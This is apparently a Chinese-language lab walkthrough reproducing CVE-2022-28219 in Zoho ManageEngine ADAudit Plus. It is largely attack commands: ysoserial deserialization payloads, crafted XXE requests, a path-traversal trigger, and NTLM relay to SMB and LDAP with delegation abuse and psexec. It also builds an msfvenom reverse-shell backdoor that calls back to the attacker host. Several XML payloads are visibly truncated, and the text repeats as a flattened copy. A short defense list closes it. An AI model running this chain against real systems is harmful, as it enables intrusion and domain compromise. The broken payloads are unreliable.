CVE-2022-28219 Zoho ManageEngine ADAudit Plus XXE到RCE漏洞复现
字数 1212 2025-08-06 18:07:54

CVE-2022-28219 Zoho ManageEngine ADAudit Plus XXE到RCE漏洞分析与复现

一、漏洞概述

CVE-2022-28219是Zoho ManageEngine ADAudit Plus中的一个严重漏洞,允许攻击者通过XXE(XML外部实体注入)漏洞实现远程代码执行(RCE)。该漏洞存在于/api/agent/tabs/agentData接口中,通过精心构造的XML payload可实现文件上传、目录遍历,最终导致任意代码执行。

二、环境搭建

1. 所需环境

  • 域环境:需要将机器提升为域控制器
  • 目标系统:安装Zoho ManageEngine ADAudit Plus
  • 攻击机:Kali Linux

2. 环境配置

MangeEngine机器(dc)域名: fbi.gov
IP地址: 192.168.20.246
攻击机(kali)IP: 192.168.20.151

3. 安装说明

  1. 在域控制器上下载并安装ManageEngine ADAudit Plus
  2. 安装完成后访问DC的8081端口(默认)
  3. 默认账号: admin/admin

三、漏洞复现步骤

第一步:生成反序列化payload

使用ysoserial生成反序列化payload(使用CommonBeanutils1 gadget):

java -jar ysoserial-all.jar CommonsBeanutils1 calc.exe > xxe-upload-test.jar

第二步:设置FTP服务器

使用BlockingServer使文件驻留到目标服务器中:

java BlockingServer 9090 xxe-upload-test.jar

发送恶意数据包:

POST /api/agent/tabs/agentData HTTP/1.1
Host: 192.168.20.246:8081
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Length: 316
Content-Type: application/json

[
    {
        "DomainName": "fbi.gov",
        "EventCode": 4688,
        "EventType": 0,
        "TimeGenerated": 0,
        "Task Content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?> ]>&ssrf;"
    }
]

第三步:利用XXE漏洞定位上传文件路径

启动XXE FTP服务器:

python2 xxe-ftp-server.py 192.168.20.151 3000 2121

发送数据包泄露目录信息:

POST /api/agent/tabs/agentData HTTP/1.1
Host: 192.168.20.246:8081
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Length: 393
Content-Type: application/json

[
    {
        "DomainName": "fbi.gov",
        "EventCode": 4688,
        "EventType": 0,
        "TimeGenerated": 0,
        "Task Content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>     %dtd;]>&send;"
    }
]

第四步:触发payload

通过curl命令触发上传的恶意文件:

curl --path-as-is -v http://192.168.20.246:8081/cewolf/a.png?img=/../../../../../../../../../users/fbi/appdata/local/temp/jar_cache5024000158749136930.tmp

四、集成自动化脚本

1. 文件读取

python3 CVE-2022-28219.py -t http://192.168.20.246:8081/ -l 192.168.20.151 -d fbi.gov -f /windows/win.ini

2. 命令执行

python3 CVE-2022-28219.py -t http://192.168.20.246:8081/ -l 192.168.20.151 -d fbi.gov -c calc.exe

五、SSRF到NTLM中继攻击

1. 启动Responder

python3 Responder.py -I eth0

2. 发送触发请求

POST /api/agent/tabs/agentData HTTP/1.1
Host: 192.168.20.246:8081
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Length: 393
Content-Type: application/json

[
    {
        "DomainName": "fbi.gov",
        "EventCode": 4688,
        "EventType": 0,
        "TimeGenerated": 0,
        "Task Content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>  %xxe; ]>"
    }
]

六、通过NTLM中继获取权限

1. 中继到SMB

启动SMB中继服务:

impacket-smbrelayx -h 192.168.20.111 -c hostname

生成后门文件:

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.20.151 lport=4444 -f exe -o exp.exe

启动SMB服务执行后门:

impacket-smbrelayx -h 192.168.20.111 -e exp.exe

2. 中继到LDAP(基于资源的约束委派)

添加机器账号:

python3 addcomputer.py -method SAMR -dc-ip 192.168.20.246 -computer-name 7niuzi -computer-pass 123456 "fbi.gov/fbi:p@ssw0rd"

启动NTLM中继:

python3 ntlmrelayx.py -t ldap://dc01.fbi.gov -debug -ip 192.168.20.151 --delegate-access --remove-mic -smb2support --escalate-user 7niu\$

获取票据:

impacket-getST dc-ip 192.168.20.246 fbi.gov/dandan$:123456 -spn cifs/w12.fbi.gov -impersonate administrator

导入票据并执行:

export KRB5CCNAME=administrator.ccache
impacket-psexec -no-pass -k w12.fbi.gov 

七、关键知识点

1. 内网域名获取方法

  • /api/agent/configuration/getAgentServerInfo接口
  • ManageEngine登录页面显示的netbios名称
  • Exchange接口获取FQDN

2. JDK低版本的401认证特性

Java在使用内置类sun.net.www.protocol.http.HttpURLConnection发送HTTP请求遇到401状态码时,若采用NTLM认证会自动使用当前用户凭据进行认证。

八、防御建议

  1. 及时更新ManageEngine ADAudit Plus到最新版本
  2. 限制对/api/agent/tabs/agentData接口的访问
  3. 启用SMB签名
  4. 监控异常的LDAP修改操作
  5. 限制域内机器账号的创建权限

九、参考资源

  1. A-Team真实渗透测试案例分析
  2. Horizon3 Red Team Blog
  3. 腾讯Xlab从XXE到RCE的研究
CVE-2022-28219 Zoho ManageEngine ADAudit Plus XXE到RCE漏洞分析与复现 一、漏洞概述 CVE-2022-28219是Zoho ManageEngine ADAudit Plus中的一个严重漏洞,允许攻击者通过XXE(XML外部实体注入)漏洞实现远程代码执行(RCE)。该漏洞存在于/api/agent/tabs/agentData接口中,通过精心构造的XML payload可实现文件上传、目录遍历,最终导致任意代码执行。 二、环境搭建 1. 所需环境 域环境:需要将机器提升为域控制器 目标系统:安装Zoho ManageEngine ADAudit Plus 攻击机:Kali Linux 2. 环境配置 3. 安装说明 在域控制器上下载并安装ManageEngine ADAudit Plus 安装完成后访问DC的8081端口(默认) 默认账号: admin/admin 三、漏洞复现步骤 第一步:生成反序列化payload 使用ysoserial生成反序列化payload(使用CommonBeanutils1 gadget): 第二步:设置FTP服务器 使用BlockingServer使文件驻留到目标服务器中: 发送恶意数据包: 第三步:利用XXE漏洞定位上传文件路径 启动XXE FTP服务器: 发送数据包泄露目录信息: 第四步:触发payload 通过curl命令触发上传的恶意文件: 四、集成自动化脚本 1. 文件读取 2. 命令执行 五、SSRF到NTLM中继攻击 1. 启动Responder 2. 发送触发请求 六、通过NTLM中继获取权限 1. 中继到SMB 启动SMB中继服务: 生成后门文件: 启动SMB服务执行后门: 2. 中继到LDAP(基于资源的约束委派) 添加机器账号: 启动NTLM中继: 获取票据: 导入票据并执行: 七、关键知识点 1. 内网域名获取方法 /api/agent/configuration/getAgentServerInfo 接口 ManageEngine登录页面显示的netbios名称 Exchange接口获取FQDN 2. JDK低版本的401认证特性 Java在使用内置类 sun.net.www.protocol.http.HttpURLConnection 发送HTTP请求遇到401状态码时,若采用NTLM认证会自动使用当前用户凭据进行认证。 八、防御建议 及时更新ManageEngine ADAudit Plus到最新版本 限制对/api/agent/tabs/agentData接口的访问 启用SMB签名 监控异常的LDAP修改操作 限制域内机器账号的创建权限 九、参考资源 A-Team真实渗透测试案例分析 Horizon3 Red Team Blog 腾讯Xlab从XXE到RCE的研究